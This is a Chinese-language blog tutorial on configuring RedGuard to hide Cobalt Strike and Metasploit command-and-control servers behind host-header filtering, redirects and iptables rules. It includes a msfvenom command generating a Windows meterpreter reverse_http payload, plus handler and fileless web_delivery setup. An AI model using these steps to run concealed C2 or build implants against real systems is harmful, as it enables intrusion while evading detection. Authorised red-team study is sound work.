简介
前几天发现自己的服务器被fofa和微步情报标记为了cobaltstrike服务器,由于以前使用的版本没有对相应的特征做修改,导致被空间搜索引擎标记,刚好看到风起在朋友圈发布了RedGuard,于是赶紧试试鲜。
RedGuard由风起大佬编写的一款c2前置流量控制工具,可以帮助红队更好的隐藏c2基础设施,且目前还在更新和完善之中,在写这篇文章之后又进行了2次更新,优化和增加了一些新功能。
使用
第一次运行会在用户目录生成.RedGuard_CobaltStrike.ini文件,编辑此文件对其进行配置,当然也支持参数进行热配置。

重点关注proxy的3个配置
- Port_HTTPS
- port_HTTP
- HostTarget
如上图,当前配置的意思是将Port_http的80端口绑定到本机127.0.0.1的8080端口,当有请求访问服务器的80端口,RedGuard会对请求特征做判断,当请求不符合规则(及host头不是360.net,这个可以随意设置),请求会被重定向到http://360.net,否则请求会被转发到cs的监听端口8080端口。请求会不会被重定向取决于DROP参数,如DORP参数设置为true将直接丢弃请求包。
同理,443端口被绑定到本机127.0.0.1的8443端口,当请求不符合规则时将请求重定向到http://360.net,当host头为360.com时将请求转发到cs的8443监听端口,主要取决于你cs的监听器是http还是http。
更多设置,如过滤上线ip、上线时间、上线省份请参考作者官方文档RedGuard文档
当然,这种场景适合将反代和cs服务器建在同一台机器上,比较节省资源,配合iptables可防止网络空间搜索引擎将你的服务器标记。
CS
启动RedGuard sudo ./RedGuard_64
cs新建监听,c2端口设置为RedGaurd的反代端口,bind设置为cs的监听端口,注意host header可以随意设置,但一定要和配置文件里的一致。

再配置IPtables,只允许127.0.0.1访问本机的8443端口
1 | iptables -I INPUT -p tcp --dport 8443 -j DROP #丢弃所有访问8443端口的包 |
这样就可以正常上线了
还有一种就是拿一台单独的服务器做反代服务器,另一台服务器做真正的cs服务器,只需简单修改配置文件即可

这里将192.168.1.8用作反代服务器,192.168.1.7作为真正的cs服务器,HosTtarget填写cs服务器的地址192.168.1.7
新建cs监听,填写相应端口。

在cs服务器配置防火墙,只允许反向代理服务器来访问cs的监听端口
1 | iptables -I INPUT -p tcp --dport 8443 -j DROP |
MSF
生成载荷
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.197.10.131 LPORT=80 HttpHostHeader=360.net -f exe -o test.exe
建立监听和设置参数,这里反代端口为80端口,80端口收到请求且符合规则后将其转发到本地的8080端口
1 | use exploit/multi/handler |
配置防火墙
1 | iptables -I INPUT -p tcp --dport 8080 -j DROP |

在能执行命令的情况下,想方便点使用无文件落地的方式
1 | use exploit/multi/script/web_delivery |
同样配置防火墙
1 | iptables -I INPUT -p tcp --dport 8080 -j DROP |
